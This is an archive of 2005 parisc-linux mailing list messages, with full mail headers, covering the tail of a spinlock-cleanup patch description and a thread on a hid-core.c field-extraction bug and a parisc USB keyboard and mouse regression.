     62 files changed, 1455 insertions(+), 3025 deletions(-)

   Al, would you be interested in checking this patch on your build 
   farm? It should build on all architectures, UP and SMP alike.

   (NOTE: i've switched sparc32, sparc64, alpha, ppc, parisc to use the 
    generic spinlock debugging code. I believe the generic debugging 
    code is now capable enough to be a replacement - but especially the 
    Sparc ones are pretty advanced; so if i've missed some important
    feature please let me know and i'll implement it in the generic 
    code.)

 - linux/spinlock_types.h: new, pure header file that can be used
   by other headers to define spinlock fields - without having to
   pull in all the other include files that are needed on the
   implementational side. (Roman Zippel)

 - lib/spinlock_debug.c: got rid of the __FILE__/__LINE__ debug output 
   (suggested by Ingo Oeser), and streamlined the debug output. 
   Implemented 'lockup detection' which is a must for architectures that 
   dont have the equivalent of an NMI watchdog. (but is useful on other 
   architectures as well.) Both spinlocks and rwlocks are now fully 
   debugged.

 - linux/spinlock.h: got rid of the ATOMIC_DEC_AND_LOCK cruft. This is 
   achieved by not doing the UP-nonpreempt-nondebug specific 
   optimization but letting it pick the generic _atomic_dec_and_lock 
   function. The assembly looks sane on x86 (no locked ops, etc.) so 
   there's no performance problem. Other architectures should work fine 
   too, those which implement _atomic_dec_and_lock unconditionally might 
   want to review whether they want to use the CONFIG_HAVE_DEC_LOCK 
   mechanism to get the optimized (generic) version of the function on 
   UP.

 - asm-generic/spinlock_types_up.h: further simplifications (suggested
   by Arjan van de Ven), typo fixed

 - linux/spinlock_up.h: since this an UP-nondebug branch now, the macros 
   were simplified and streamlined significantly.

 - asm-generic/spinlock_up.h: further cleanups, reordering of op
   definitions into 'natural' op order.

 - asm-i386/spinlock.h and asm-x86_64/spinlock.h: reordering of ops, 
   cleanups

 - include/linux/spinlock.h: more cleanups, reordering

 - linux/spinlock_smp.h: cleanups, reordering of prototypes

 - kernel/spinlock.c: fixed bug in generic_raw_read_trylock and renamed 
   it to generic__raw_read_trylock to ease conversion.

 - lib/kernel_lock.c: simplification

 - (lots of small details i forgot)

	Ingo

----- End forwarded message -----

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] usb/input/hid-core.c extract() brain damage
Date: Fri, 3 Jun 2005 19:16:55 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <20050604011655.GA16999__41904.399454552$1416624539$gmane$org@colo.lackof.org>
References: <20050602213519.GA18164@colo.lackof.org>
	<200506032241.j53MfuCv008601@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624539 26753 80.91.229.3 (22 Nov 2014 02:48:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:59 +0000 (UTC)
Cc: kyle@cabal.ca,
 parisc-linux@parisc-linux.org,
 linux-usb-devel@lists.sourceforge.net
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:28:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jun 2005 01:13:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx011) with SMTP; 04 Jun 2005 03:13:54 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C9CBE7D655;
	Fri,  3 Jun 2005 19:13:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09490-02; Fri, 3 Jun 2005 19:13:33 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E440F7D657;
	Fri,  3 Jun 2005 19:13:32 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 99C627D655
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Jun 2005 19:13:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09383-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 3 Jun 2005 19:13:29 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 2E8B67D651
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Jun 2005 19:13:29 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id B7EFC374FA2; Fri,  3 Jun 2005 19:13:26 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 6ED7B374FA0;
	Fri,  3 Jun 2005 19:13:22 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id C3CE6298056;
	Fri,  3 Jun 2005 19:16:55 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15834-08; Fri, 3 Jun 2005 19:16:55 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 7AE9329803C; Fri,  3 Jun 2005 19:16:55 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200506032241.j53MfuCv008601@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: BGXTYn9weSEkeb6WZHQhaXN1IGRvb0Cf
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25119

On Fri, Jun 03, 2005 at 06:41:55PM -0400, John David Anglin wrote:
> > extract() and implement() have brain damaged attempts to handle
> > 32-bit wide "fields".
> 
> It seems that this problem has been around for some time.

I didn't check to see how long this code has been around.

> Does it fix the usb keyboard and mouse problems in 2.6.12?

USB keyboard and mouse work with 2.6.12-rc5 on parisc.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] usb/input/hid-core.c extract() brain damage
Date: Fri, 3 Jun 2005 21:25:18 -0400 (EDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <200506040125.j541PI7g009179__47127.3056966767$1416624540$gmane$org@hiauly1.hia.nrc.ca>
References: <20050604011655.GA16999@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624540 26754 80.91.229.3 (22 Nov 2014 02:49:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:00 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 linux-usb-devel@lists.sourceforge.net,
 kyle@cabal.ca
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:28:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jun 2005 01:25:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx049) with SMTP; 04 Jun 2005 03:25:47 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 70D827D674;
	Fri,  3 Jun 2005 19:25:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09774-01; Fri, 3 Jun 2005 19:25:42 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0D3037D663;
	Fri,  3 Jun 2005 19:25:42 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 613237D65F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Jun 2005 19:25:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09383-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 3 Jun 2005 19:25:38 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id EB8AE7D65E
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Jun 2005 19:25:38 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 11FA175548; Fri,  3 Jun 2005 19:25:32 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by palinux.hppa (Postfix) with ESMTP id 5750775545;
	Fri,  3 Jun 2005 19:25:28 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j541PInV009180; Fri, 3 Jun 2005 21:25:19 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j541PI7g009179;
	Fri, 3 Jun 2005 21:25:18 -0400 (EDT)
In-Reply-To: <20050604011655.GA16999@colo.lackof.org> from "Grant Grundler" at
	Jun 3, 2005 07:16:55 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: S2bTYs4ceSEkQ76WZHQhaXN1IGRvb8Cc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25120

> > It seems that this problem has been around for some time.
> 
> I didn't check to see how long this code has been around.

It's in 2.6.10-pa3.  Since the USB mouse and keyboard work in it,
some other change must have been involved in the 2.6.12 breakage.

As an aside, 2.6.10-pa3 doesn't seem to have the stability problems
that I saw 2.6.11-pa4.  It pretty much seems as stable as 2.6.8.1-pa11
on my c3750.  There was hang in the java testsuite (PR218) in one of
two gcc builds and check.  Otherwise, the test results were identical.

> > Does it fix the usb keyboard and mouse problems in 2.6.12?
> 
> USB keyboard and mouse work with 2.6.12-rc5 on parisc.

Great!

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] usb/input/hid-core.c extract() brain damage
Date: Sat, 4 Jun 2005 01:25:10 -0600
Lines: 41
Approved: news@gmane.org
Message-ID: <20050604072510.GD8230__13532.7243981466$1416624540$gmane$org@colo.lackof.org>
References: <20050604011655.GA16999@colo.lackof.org>
	<200506040125.j541PI7g009179@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624540 26757 80.91.229.3 (22 Nov 2014 02:49:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:00 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 linux-usb-devel@lists.sourceforge.net,
 kyle@cabal.ca
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:28:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jun 2005 07:21:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx050) with SMTP; 04 Jun 2005 09:21:45 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CE05A7D65F;
	Sat,  4 Jun 2005 01:21:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10998-03; Sat, 4 Jun 2005 01:21:42 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 98EE87D65B;
	Sat,  4 Jun 2005 01:21:41 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ED1987D655
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Jun 2005 01:21:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10762-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 4 Jun 2005 01:21:37 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 832F07D651
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Jun 2005 01:21:37 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 341C175548; Sat,  4 Jun 2005 01:21:37 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id DD44075545;
	Sat,  4 Jun 2005 01:21:36 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 555D5298056;
	Sat,  4 Jun 2005 01:25:11 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10456-10; Sat, 4 Jun 2005 01:25:11 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 0042329803C; Sat,  4 Jun 2005 01:25:10 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200506040125.j541PI7g009179@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 3jPTYoFneSEkQL6WZHQhaXN1IGRvb8CT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25121

On Fri, Jun 03, 2005 at 09:25:18PM -0400, John David Anglin wrote:
> > > It seems that this problem has been around for some time.
> > 
> > I didn't check to see how long this code has been around.
> 
> It's in 2.6.10-pa3.  Since the USB mouse and keyboard work in it,
> some other change must have been involved in the 2.6.12 breakage.

Yes, Kyle tracked it down to parisc switching from a parisc asm
definition of get_unaligned() to using the generic ones.
Ie we moved from avoiding kernel traps to exercising them.
But 64-bit kernel worked fine with USB.
And on 32-bit kernels le64() loads degenerate into two 32-bit
loads. Ie the trap handler is still only dealing with 32-bit
misaligned accesses like it would with this patch. So I don't
think the kernel trap support is the problem.

Regardless, the two functions are badly written and could
be alot clearer.

> As an aside, 2.6.10-pa3 doesn't seem to have the stability problems
> that I saw 2.6.11-pa4.  It pretty much seems as stable as 2.6.8.1-pa11
> on my c3750.  There was hang in the java testsuite (PR218) in one of
> two gcc builds and check.  Otherwise, the test results were identical.

Ok. Can you want to try the older version of include/asm-parisc/unaligned.h?

> > USB keyboard and mouse work with 2.6.12-rc5 on parisc.
> 
> Great!

Well, I haven't committed it to cvs.parisc-linux.org.
I'm waiting for the USB guru's to comment.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] usb/input/hid-core.c extract() brain damage
Date: Fri, 3 Jun 2005 18:41:55 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <200506032241.j53MfuCv008601__28620.5400633209$1416624540$gmane$org@hiauly1.hia.nrc.ca>
References: <20050602213519.GA18164@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624540 26759 80.91.229.3 (22 Nov 2014 02:49:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:00 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 linux-usb-devel@lists.sourceforge.net,
 kyle@cabal.ca
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:28:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jun 2005 22:42:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx013) with SMTP; 04 Jun 2005 00:42:21 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 41DB17D640;
	Fri,  3 Jun 2005 16:42:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08970-02; Fri, 3 Jun 2005 16:42:08 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5D72E7D651;
	Fri,  3 Jun 2005 16:42:07 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A6AE97D640
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Jun 2005 16:42:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08817-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 3 Jun 2005 16:42:04 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 3BAF97D60D
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Jun 2005 16:42:04 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id D36F6374FA2; Fri,  3 Jun 2005 16:42:03 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by palinux.hppa (Postfix) with ESMTP id 60EE7374FA0;
	Fri,  3 Jun 2005 16:42:03 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j53MfvnV008603; Fri, 3 Jun 2005 18:41:57 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j53MfuCv008601;
	Fri, 3 Jun 2005 18:41:56 -0400 (EDT)
In-Reply-To: <20050602213519.GA18164@colo.lackof.org> from "Grant Grundler" at
	Jun 2, 2005 03:35:19 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: mbnSYtFmeSEkf76WZHQhaXN1IGRvb0CT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25122

> extract() and implement() have brain damaged attempts to handle
> 32-bit wide "fields".

It seems that this problem has been around for some time.  Does
it fix the usb keyboard and mouse problems in 2.6.12?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] usb/input/hid-core.c extract() brain damage
Date: Sat, 04 Jun 2005 10:31:05 +0000
Lines: 60
Approved: news@gmane.org
Message-ID: <42A182E9.7020609__45124.7611469173$1416624541$gmane$org@tiscali.be>
References: <20050604011655.GA16999@colo.lackof.org>	<200506040125.j541PI7g009179@hiauly1.hia.nrc.ca>
	<20050604072510.GD8230@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624541 26763 80.91.229.3 (22 Nov 2014 02:49:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:01 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 kyle@cabal.ca,
 linux-usb-devel@lists.sourceforge.net,
 parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jun 2005 10:31:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx069) with SMTP; 04 Jun 2005 12:31:19 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 670667D664;
	Sat,  4 Jun 2005 04:31:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11859-05; Sat, 4 Jun 2005 04:31:16 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
